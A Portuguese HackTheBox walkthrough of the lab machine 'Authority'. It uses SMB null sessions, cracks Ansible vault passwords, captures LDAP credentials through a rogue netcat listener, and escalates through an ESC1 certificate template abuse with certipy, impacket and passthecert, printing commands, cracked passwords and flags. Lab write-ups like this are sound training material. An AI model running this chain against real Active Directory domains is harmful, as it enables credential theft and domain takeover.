HackTheBox
Neste writeup iremos explorar uma máquina windows de nível medium chamada Authority que aborda as seguintes vulnerabilidades e técnicas de exploração:
- Cracking ansible-vault password
- Active Directory Misconfigured Certificate Templates
- PassTheCert
Recon e user flag
Iremos iniciar realizando uma varredura no host alvo utilizando o nmap para visualizar as portas presentes:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-windows/authority]
└─# nmap -sV --open -Pn -sC 10.129.142.95
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-16 10:58 EDT
Nmap scan report for 10.129.142.95
Host is up (0.26s latency).
Not shown: 961 closed tcp ports (reset), 26 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus =
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-07-16 18:59:05Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
|_ssl-date: 2023-07-16T19:00:50+00:00; +4h00m00s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: othername: UPN::AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after: 2024-08-09T23:13:21
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
|_ssl-date: 2023-07-16T19:00:49+00:00; +3h59m59s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: othername: UPN::AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after: 2024-08-09T23:13:21
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
|_ssl-date: 2023-07-16T19:00:52+00:00; +3h59m59s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: othername: UPN::AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after: 2024-08-09T23:13:21
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
|_ssl-date: 2023-07-16T19:00:50+00:00; +3h59m59s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: othername: UPN::AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after: 2024-08-09T23:13:21
8443/tcp open ssl/https-alt
|_http-title: Site doesn't have a title (text/plain;charset=UTF-8).
|_ssl-date: TLS randomness does not represent time
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 200
| Content-Type: text/html;charset=ISO-8859-1
| Content-Length: 82
| Date: Sun, 16 Jul 2023 18:59:17 GMT
| Connection: close
| <html><head><meta http-equiv="refresh" content="0;URL='/pwm'"/></head></html>
| GetRequest:
| HTTP/1.1 200
| Content-Type: text/html;charset=ISO-8859-1
| Content-Length: 82
| Date: Sun, 16 Jul 2023 18:59:13 GMT
| Connection: close
| <html><head><meta http-equiv="refresh" content="0;URL='/pwm'"/></head></html>
| HTTPOptions:
| HTTP/1.1 200
| Allow: GET, HEAD, POST, OPTIONS
| Content-Length: 0
| Date: Sun, 16 Jul 2023 18:59:15 GMT
| Connection: close
| RTSPRequest:
| HTTP/1.1 400
| Content-Type: text/html;charset=utf-8
| Content-Language: en
| Content-Length: 1936
| Date: Sun, 16 Jul 2023 18:59:25 GMT
| Connection: close
| <!doctype html><html lang="en"><head><title>HTTP Status 400
| Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400
|_ Request</h1><hr class="line" /><p><b>Type</b> Exception Report</p><p><b>Message</b> Invalid character found in the HTTP protocol [RTSP/1.00x0d0x0a0x0d0x0a...]</p><p><b>Description</b> The server cannot or will not process the request due to something that is perceived to be a client error (e.g., malformed request syntax, invalid
| ssl-cert: Subject: commonName=172.16.2.118
| Not valid before: 2023-07-14T18:56:30
|_Not valid after: 2025-07-16T06:34:54
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8443-TCP:V=7.93%T=SSL%I=7%D=7/16%Time=64B405C1%P=x86_64-pc-linux-gn
SF:u%r(GetRequest,DB,"HTTP/1\.1\x20200\x20\r\nContent-Type:\x20text/html;c
SF:harset=ISO-8859-1\r\nContent-Length:\x2082\r\nDate:\x20Sun,\x2016\x20Ju
SF:l\x202023\x2018:59:13\x20GMT\r\nConnection:\x20close\r\n\r\n\n\n\n\n\n<
SF:html><head><meta\x20http-equiv=\"refresh\"\x20content=\"0;URL='/pwm'\"/
SF:></head></html>")%r(HTTPOptions,7D,"HTTP/1\.1\x20200\x20\r\nAllow:\x20G
SF:ET,\x20HEAD,\x20POST,\x20OPTIONS\r\nContent-Length:\x200\r\nDate:\x20Su
SF:n,\x2016\x20Jul\x202023\x2018:59:15\x20GMT\r\nConnection:\x20close\r\n\
SF:r\n")%r(FourOhFourRequest,DB,"HTTP/1\.1\x20200\x20\r\nContent-Type:\x20
SF:text/html;charset=ISO-8859-1\r\nContent-Length:\x2082\r\nDate:\x20Sun,\
SF:x2016\x20Jul\x202023\x2018:59:17\x20GMT\r\nConnection:\x20close\r\n\r\n
SF:\n\n\n\n\n<html><head><meta\x20http-equiv=\"refresh\"\x20content=\"0;UR
SF:L='/pwm'\"/></head></html>")%r(RTSPRequest,82C,"HTTP/1\.1\x20400\x20\r\
SF:nContent-Type:\x20text/html;charset=utf-8\r\nContent-Language:\x20en\r\
SF:nContent-Length:\x201936\r\nDate:\x20Sun,\x2016\x20Jul\x202023\x2018:59
SF::25\x20GMT\r\nConnection:\x20close\r\n\r\n<!doctype\x20html><html\x20la
SF:ng=\"en\"><head><title>HTTP\x20Status\x20400\x20\xe2\x80\x93\x20Bad\x20
SF:Request</title><style\x20type=\"text/css\">body\x20{font-family:Tahoma,
SF:Arial,sans-serif;}\x20h1,\x20h2,\x20h3,\x20b\x20{color:white;background
SF:-color:#525D76;}\x20h1\x20{font-size:22px;}\x20h2\x20{font-size:16px;}\
SF:x20h3\x20{font-size:14px;}\x20p\x20{font-size:12px;}\x20a\x20{color:bla
SF:ck;}\x20\.line\x20{height:1px;background-color:#525D76;border:none;}</s
SF:tyle></head><body><h1>HTTP\x20Status\x20400\x20\xe2\x80\x93\x20Bad\x20R
SF:equest</h1><hr\x20class=\"line\"\x20/><p><b>Type</b>\x20Exception\x20Re
SF:port</p><p><b>Message</b>\x20Invalid\x20character\x20found\x20in\x20the
SF:\x20HTTP\x20protocol\x20\[RTSP/1\.00x0d0x0a0x0d0x0a\.\.\.\]</p><p><
SF:b>Description</b>\x20The\x20server\x20cannot\x20or\x20will\x20not\x20pr
SF:ocess\x20the\x20request\x20due\x20to\x20something\x20that\x20is\x20perc
SF:eived\x20to\x20be\x20a\x20client\x20error\x20\(e\.g\.,\x20malformed\x20
SF:request\x20syntax,\x20invalid\x20");
Service Info: Host: AUTHORITY; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 311:
|_ Message signing enabled and required
|_clock-skew: mean: 3h59m59s, deviation: 0s, median: 3h59m58s
| smb2-time:
| date: 2023-07-16T19:00:29
|_ start_date: N/A
Temos diversas portas abertas, dentre elas temos as portas 139 e 445 do smb.
O smb é um share de arquivos, bem como o samba e o CIFS
Podemos utilizar o smbclient, que é um client para smb, com a flag -N para visualizar se o smb aceita o acesso sem senha, este método é conhecido como SMB Null Session.
┌──(root㉿kali)-[/home/kali/hackthebox/machines-windows/authority]
└─# smbclient -L \\10.129.142.95 -N
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
Department Shares Disk
Development Disk
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.142.95 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
Conseguimos listar os shares, vamos visualizar o conteúdo dos mesmos.
Vamos visualizar o conteúdo do share Development:
┌──(root㉿kali)-[/home/…/hackthebox/machines-windows/authority/writeup-shits]
└─# smbclient //10.129.229.56/Development -N
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Fri Mar 17 09:20:38 2023
.. D 0 Fri Mar 17 09:20:38 2023
Automation D 0 Fri Mar 17 09:20:40 2023
5888511 blocks of size 4096. 1211895 blocks available
smb: \> cd Automation
smb: \Automation\> dir
. D 0 Fri Mar 17 09:20:40 2023
.. D 0 Fri Mar 17 09:20:40 2023
Ansible D 0 Fri Mar 17 09:20:50 2023
5888511 blocks of size 4096. 1209915 blocks available
smb: \Automation\> cd Ansible
smb: \Automation\Ansible\> dir
. D 0 Fri Mar 17 09:20:50 2023
.. D 0 Fri Mar 17 09:20:50 2023
ADCS D 0 Fri Mar 17 09:20:48 2023
LDAP D 0 Fri Mar 17 09:20:48 2023
PWM D 0 Fri Mar 17 09:20:48 2023
SHARE D 0 Fri Mar 17 09:20:48 2023
5888511 blocks of size 4096. 1209921 blocks available
Existe um diretório chamado Ansible. O ansible é uma ferramenta que automatiza procedimentos, ele é comumente utilizado visando gerir configurações de forma automatizada criando assim algo padronizado.
Podemos realizar os seguintes passos para realizar o download de forma recursiva do diretório Ansible.
Primeiro iremos voltar um diretório e executar os seguintes comandos:
smb: \Automation\Ansible\> cd ..
smb: \Automation\> recurse ON
smb: \Automation\> prompt OFF
O primeiro comando volta para o diretório anterior, ja o segundo habilita a recursividade no smbclient. O terceiro comando é necessário porque o smbclient pedirá para confirmar o download de cada arquivo, com este comando conseguimos desabilitar o prompt realizando o download diretamente.
Com esses passos conseguimos realizar o download do diretório completo:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-windows/authority]
└─# tree Ansible
Ansible
├── ADCS
│ ├── defaults
│ │ └── main.yml
│ ├── LICENSE
│ ├── meta
│ │ ├── main.yml
│ │ └── preferences.yml
│ ├── molecule
│ │ └── default
│ │ ├── converge.yml
│ │ ├── molecule.yml
│ │ └── prepare.yml
│ ├── README.md
│ ├── requirements.txt
│ ├── requirements.yml
│ ├── SECURITY.md
│ ├── tasks
│ │ ├── assert.yml
│ │ ├── generate_ca_certs.yml
│ │ ├── init_ca.yml
│ │ ├── main.yml
│ │ └── requests.yml
│ ├── templates
│ │ ├── extensions.cnf.j2
│ │ └── openssl.cnf.j2
│ ├── tox.ini
│ └── vars
│ └── main.yml
├── ansible-adminpass
├── ansible-ldap-vault
├── ansible-pwmadmin-vault
├── LDAP
│ ├── defaults
│ │ └── main.yml
│ ├── files
│ │ └── pam_mkhomedir
│ ├── handlers
│ │ └── main.yml
│ ├── meta
│ │ └── main.yml
│ ├── README.md
│ ├── tasks
│ │ └── main.yml
│ ├── templates
│ │ ├── ldap_sudo_groups.j2
│ │ ├── ldap_sudo_users.j2
│ │ ├── sssd.conf.j2
│ │ └── sudo_group.j2
│ ├── TODO.md
│ ├── Vagrantfile
│ └── vars
│ ├── debian.yml
│ ├── main.yml
│ ├── redhat.yml
│ └── ubuntu-14.04.yml
├── PWM
│ ├── ansible.cfg
│ ├── ansible_inventory
│ ├── defaults
│ │ └── main.yml
│ ├── handlers
│ │ └── main.yml
│ ├── meta
│ │ └── main.yml
│ ├── README.md
│ ├── tasks
│ │ └── main.yml
│ └── templates
│ ├── context.xml.j2
│ └── tomcat-users.xml.j2
└── SHARE
└── tasks
└── main.yml
25 directories, 52 files
Aqui temos três roles. No ansible as roles são utilizadas para executar uma ou mais funções que juntas realizam alguma ação, como por exemplo:
- ADCS: É uma role responsável pela instalação e configuração de Certificate Authority.
- LDAP: Já esta outra role instala e configura o SSSD para autenticação do LDAP no Active Directory Server.
- PWM: Responsável por instalar o pwm, que é um "password self-service" para LDAP.
Estas informações estão disponíveis nos arquivos readme.md de cada role.
Um ponto importante é que existem arquivos criptografados pelo ansible. Estes geralmente são dados sensíveis que não podem ser expostos diretamente:
---
pwm_run_dir: "{{ lookup('env', 'PWD') }}"
pwm_hostname: authority.htb.corp
pwm_http_port: "{{ http_port }}"
pwm_https_port: "{{ https_port }}"
pwm_https_enable: true
pwm_require_ssl: false
pwm_admin_login: !vault |
$ANSIBLE_VAULT;1.1;AES256
32666534386435366537653136663731633138616264323230383566333966346662313161326239
6134353663663462373265633832356663356239383039640a346431373431666433343434366139
35653634376333666234613466396534343030656165396464323564373334616262613439343033
6334326263326364380a653034313733326639323433626130343834663538326439636232306531
3438
pwm_admin_password: !vault |
$ANSIBLE_VAULT;1.1;AES256
31356338343963323063373435363261323563393235633365356134616261666433393263373736
3335616263326464633832376261306131303337653964350a363663623132353136346631396662
38656432323830393339336231373637303535613636646561653637386634613862316638353530
3930356637306461350a316466663037303037653761323565343338653934646533663365363035
6531
ldap_uri: ldap://127.0.0.1/
ldap_base_dn: "DC=authority,DC=htb"
ldap_admin_password: !vault |
$ANSIBLE_VAULT;1.1;AES256
63303831303534303266356462373731393561313363313038376166336536666232626461653630
3437333035366235613437373733316635313530326639330a643034623530623439616136363563
34646237336164356438383034623462323531316333623135383134656263663266653938333334
3238343230333633350a646664396565633037333431626163306531336336326665316430613566
3764
O conteúdo é do arquivo PWM/defaults/main.yml. Esta role precisa dos dados de acesso por realizar ações na máquina, como baixar o java, copiar arquivos e etc.
O ansible utiliza o ansible-vault para realizar a criptografia e descriptografia, no entanto, podemos utilizar o ansible2john para que seja gerado uma hash que o john the ripper consiga tentar quebrar.
Com isso conseguimos executar os seguintes passos:
# Gerando a hash identificável pelo john the ripper
┌──(root㉿kali)-[/home/…/hackthebox/machines-windows/authority/Ansible]
└─# ansible2john ansible-pwmadmin-vault > ansible-pwmadmin-vault.out
┌──(root㉿kali)-[/home/…/hackthebox/machines-windows/authority/Ansible]
└─# cat ansible-pwmadmin-vault.out
ansible-pwmadmin-vault:$ansible$0*0*2fe48d56e7e16f71c18abd22085f39f4fb11a2b9a456cf4b72ec825fc5b9809d*e041732f9243ba0484f582d9cb20e148*4d1741fd34446a95e647c3fb4a4f9e4400eae9dd25d734abba49403c42bc2cd8
# Quebrando a hash
┌──(root㉿kali)-[/home/…/hackthebox/machines-windows/authority/Ansible]
└─# john -w=/usr/share/wordlists/rockyou.txt ansible-pwmadmin-vault.out
Using default input encoding: UTF-8
Loaded 1 password hash (ansible, Ansible Vault [PBKDF2-SHA256 HMAC-256 128/128 AVX 4x])
Cost 1 (iteration count) is 10000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
!@#$%^&* (ansible-pwmadmin-vault)
Agora que temos a senha podemos utilizar o ansible-vault para descriptografar e visualizar as informações sensíveis:
┌──(root㉿kali)-[/home/…/hackthebox/machines-windows/authority/Ansible]
└─# ansible-vault decrypt ansible-ldap-vault
Vault password:
Decryption successful
┌──(root㉿kali)-[/home/…/hackthebox/machines-windows/authority/Ansible]
└─# cat ansible-ldap-vault
DevT3st@123
┌──(root㉿kali)-[/home/…/hackthebox/machines-windows/authority/Ansible]
└─# ansible-vault decrypt ansible-adminpass
Vault password:
Decryption successful
┌──(root㉿kali)-[/home/…/hackthebox/machines-windows/authority/Ansible]
└─# cat ansible-adminpass
pWm_@dm!N_!23
┌──(root㉿kali)-[/home/…/hackthebox/machines-windows/authority/Ansible]
└─# ansible-vault decrypt ansible-pwmadmin-vault
Vault password:
Decryption successful
┌──(root㉿kali)-[/home/…/hackthebox/machines-windows/authority/Ansible]
└─# cat ansible-pwmadmin-vault
svc_pwm
Conseguimos dois usuários, svc_pwm e svc_ldap (da mensagem de erro CN) e duas senhas: DevT3st@123, pWm_@dm!N_!23.
Em nossa varredura no alvo feita inicialmente encontramos a porta 8443, que ao acessar temos a seguinte mensagem em uma página de login:
Podemos acessar clicar na setinha para baixo no canto superior direito e clicar em Configuration Editor:
Será solicitada a senha, e iremos inserir a senha pWm_@dm!N_!23 que descobrimos anteriormente.
Notamos que existe a seguinte mensagem de erro:
Que é a seguinte:
Directory unavailable. If this error occurs repeatedly please contact your help desk.
5017 ERROR_DIRECTORY_UNAVAILABLE (all ldap profiles are unreachable; errors: ["error connecting as proxy user: unable to create connection: unable to connect to any configured ldap url, last error: unable to bind to ldaps://authority.authority.htb:636 as CN=svc_ldap,OU=Service Accounts,OU=CORP,DC=authority,DC=htb reason: CommunicationException (authority.authority.htb:636; PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target)"])
PWM is currently in configuration mode. This mode allows updating the configuration without authenticating to an LDAP directory first. End user functionality is not available in this mode.
After you have verified the LDAP directory settings, use the Configuration Manager to restrict the configuration to prevent unauthorized changes. After restricting, the configuration can still be changed but will require LDAP directory authentication first.
Aqui podemos notar que o ldap esta tentando conectar em ldaps://authority.authority.htb:636 utilizando o usuário svc_ldap.
Podemos tentar descobrir a senha de conexão, que por muitas vezes é enviada em texto plano. Para isso vamos alterar o endereço de conexão com o ldap para o nosso ip, no qual estaremos executando o netcat da seguinte forma:
┌──(root㉿kali)-[/home/…/hackthebox/machines-windows/authority/Ansible]
└─# nc -nlvp 389
[+] Listening for events...
E agora vamos ajustar o endereço e realizar a tentativa de conexão (LDAP -> LDAP Directories -> default -> Connection -> LDAP URLs):
Vamos clicar em Add Value na opção LDAP URLs e iremos criar uma nova para nosso IP:
Após alterarmos para nosso endereço na porta 389 e clicar em OK temos o seguinte retorno em nosso netcat:
┌──(root㉿kali)-[/home/…/hackthebox/machines-windows/authority/Ansible]
└─# nc -nvlp 389
listening on [any] 389 ...
connect to [10.10.14.229] from (UNKNOWN) [10.129.229.56] 49368
0Y`T;CN=svc_ldap,OU=Service Accounts,OU=CORP,DC=authority,DC=htb�lDaP_1n_th3_cle4r!0P
Temos o usuário para conexão: CN=svc_ldap e a senha: lDaP_1n_th3_cle4r!
Com estes dados podemos utilizar o Evil-WinRM para conseguir um shell no host alvo.
A combinação de usuário svc_ldap e lDaP_1n_th3_cle4r! funcionou:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-windows/authority]
└─# evil-winrm -i authority.htb -u svc_ldap -p 'lDaP_1n_th3_cle4r!'
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_ldap\Documents>
E assim conseguimos a user flag:
*Evil-WinRM* PS C:\Users\svc_ldap\Documents> dir
*Evil-WinRM* PS C:\Users\svc_ldap\Documents> cd ..
*Evil-WinRM* PS C:\Users\svc_ldap> cd Desktop
*Evil-WinRM* PS C:\Users\svc_ldap\Desktop> dir
Directory: C:\Users\svc_ldap\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 7/16/2023 2:58 PM 34 user.txt
*Evil-WinRM* PS C:\Users\svc_ldap\Desktop> type user.txt
f3d8ce4da9d366be5f8d03b93272f699
Escalação de privilégios e root flag
Como temos uma role no ansible para configuração de certificados no Active Directory podemos utilizar o certipy para buscar vulnerabilidades no ADCS:
┌──(root㉿kali)-[/home/…/hackthebox/machines-windows/authority/Ansible]
└─# certipy find -vulnerable -stdout -u svc_ldap@authority.htb -p 'lDaP_1n_th3_cle4r!' -dc-ip 10.129.229.56
Certipy v4.7.0 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 37 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 13 enabled certificate templates
[*] Trying to get CA configuration for 'AUTHORITY-CA' via CSRA
[!] Got error while trying to get CA configuration for 'AUTHORITY-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'AUTHORITY-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'AUTHORITY-CA'
[*] Enumeration output:
Certificate Authorities
0
CA Name : AUTHORITY-CA
DNS Name : authority.authority.htb
Certificate Subject : CN=AUTHORITY-CA, DC=authority, DC=htb
Certificate Serial Number : 2C4E1F3CA46BBDAF42A1DDE3EC33A6B4
Certificate Validity Start : 2023-04-24 01:46:26+00:00
Certificate Validity End : 2123-04-24 01:56:25+00:00
Web Enrollment : Disabled
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Permissions
Owner : AUTHORITY.HTB\Administrators
Access Rights
ManageCa : AUTHORITY.HTB\Administrators
AUTHORITY.HTB\Domain Admins
AUTHORITY.HTB\Enterprise Admins
ManageCertificates : AUTHORITY.HTB\Administrators
AUTHORITY.HTB\Domain Admins
AUTHORITY.HTB\Enterprise Admins
Enroll : AUTHORITY.HTB\Authenticated Users
Certificate Templates
0
Template Name : CorpVPN
Display Name : Corp VPN
Certificate Authorities : AUTHORITY-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Enrollment Flag : IncludeSymmetricAlgorithms
PublishToDs
AutoEnrollmentCheckUserDsCertificate
Private Key Flag : ExportableKey
Extended Key Usage : Encrypting File System
Secure Email
Client Authentication
Document Signing
IP security IKE intermediate
IP security use
KDC Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 20 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Permissions
Enrollment Permissions
Enrollment Rights : AUTHORITY.HTB\Domain Computers
AUTHORITY.HTB\Domain Admins
AUTHORITY.HTB\Enterprise Admins
Object Control Permissions
Owner : AUTHORITY.HTB\Administrator
Write Owner Principals : AUTHORITY.HTB\Domain Admins
AUTHORITY.HTB\Enterprise Admins
AUTHORITY.HTB\Administrator
Write Dacl Principals : AUTHORITY.HTB\Domain Admins
AUTHORITY.HTB\Enterprise Admins
AUTHORITY.HTB\Administrator
Write Property Principals : AUTHORITY.HTB\Domain Admins
AUTHORITY.HTB\Enterprise Admins
AUTHORITY.HTB\Administrator
[!] Vulnerabilities
ESC1 : 'AUTHORITY.HTB\\Domain Computers' can enroll, enrollee supplies subject and template allows client authentication
No retorno temos que o template CorpVPN é vulnerável a ESC1, que é Misconfigured Certificate Templates.
O enterprise CA concede privilégios para usuários com baixos privilégios, ou seja, podem adicionar novos assets ao AD. Outro ponto é que esta desabilitado a aprovação administrativa, tornando possível a exploração.
Podemos utilizar um dos scripts do impacket para adicionar o novo asset, que vai ser um usuário:
┌──(root㉿ kali)-[/home/…/hackthebox/machines-windows/authority/]
└─# impacket-addcomputer authority.htb/svc_ldap:'lDaP_1n_th3_cle4r!' -computer-name MRT$ -computer-pass Password123!
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Successfully added machine account MRT$ with password Password123!.
Conseguimos adicionar o novo usuário chamado MRT$. Agora vamos gerar um certificado para o mesmo, dessa vez utilizando o certipy.
No entanto antes precisamos adicionar em nosso /etc/hosts o endereço do dns authority.authority.htb.
Uma vez adicionado a nova conta podemos executar o seguinte comando para solicitar um SAN para o mesmo de forma que ele obtenha as permissões de administrador:
┌──(root㉿kali)-[/home/…/hackthebox/machines-windows/authority/]
└─# certipy req -u 'MRT$' -p 'Password123!' -ca AUTHORITY-CA -template CorpVPN -upn administrator@authority.htb -dns authority.authority.htb -dc-ip 10.129.138.5 -debug
Certipy v4.7.0 - by Oliver Lyak (ly4k)
[+] Trying to resolve 'authority.htb' at '10.129.138.5'
[+] Generating RSA key
[*] Requesting certificate via RPC
[+] Trying to connect to endpoint: ncacn_np:10.129.138.5[\pipe\cert]
[+] Connected to endpoint: ncacn_np:10.129.138.5[\pipe\cert]
[*] Successfully requested certificate
[*] Request ID is 3
[*] Got certificate with multiple identifications
UPN: 'administrator@authority.htb'
DNS Host Name: 'authority.authority.htb'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator_authority.pfx'
O output será um o arquivo administrator_authority.pfx, que usaremos para gerar o certificado e chave privada para o usuário :
┌──(root㉿kali)-[/home/…/hackthebox/machines-windows/authority/impacket]
└─# certipy cert -pfx administrator_authority.pfx -nokey -out user.crt
Certipy v4.7.0 - by Oliver Lyak (ly4k)
[*] Writing certificate and to 'user.crt'
┌──(root㉿kali)-[/home/…/hackthebox/machines-windows/authority/impacket]
└─# certipy cert -pfx administrator_authority.pfx -nocert -out user.key
Certipy v4.7.0 - by Oliver Lyak (ly4k)
[*] Writing private key to 'user.key'
Agora tendo o certificado e chave privada podemos utilizar os mesmos através de um script feito em python chamado passthecert para obter um shell como o nosso usuário, no entanto esse shell é limitado a algumas ações descritas na documentação do projeto.
Em nosso caso vamos somente adicionar o usuário svc_ldap no grupo de administradores:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-windows/authority]
└─# python3 passthecert.py -action ldap-shell -crt user.crt -key user.key -domain authority.htb -dc-ip 10.129.138.5
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
# add_user_to_group svc_ldap Administrators
Adding user: svc_ldap to group Administrators result: OK
Voltando em nosso shell como usuário svc_ldap podemos visualizar que o mesmo é administrador agora:
*Evil-WinRM* PS C:\Users\svc_ldap\Documents> net user svc_ldap
User name svc_ldap
Full Name
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 8/10/2022 9:29:31 PM
Password expires Never
Password changeable 8/11/2022 9:29:31 PM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 7/5/2023 8:43:09 PM
Logon hours allowed All
Local Group Memberships *Administrators *Remote Management Use
Global Group memberships *Domain Users
The command completed successfully.
*Evil-WinRM* PS C:\Users\svc_ldap\Documents>
E como somos administradores podemos acessar o diretório do mesmo e buscar a root flag!
*Evil-WinRM* PS C:\Users\svc_ldap\Documents> cd C:\Users\
*Evil-WinRM* PS C:\Users> dir
Directory: C:\Users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 3/17/2023 9:31 AM Administrator
d-r--- 8/9/2022 4:35 PM Public
d----- 3/24/2023 11:27 PM svc_ldap
*Evil-WinRM* PS C:\Users> cd Administrator
*Evil-WinRM* PS C:\Users\Administrator> cd Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 7/20/2023 9:32 PM 34 root.txt
type*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
971cac3696757556fc9e00167ef0e271
E assim finalizamos a máquina Authority :)
Top comments (0)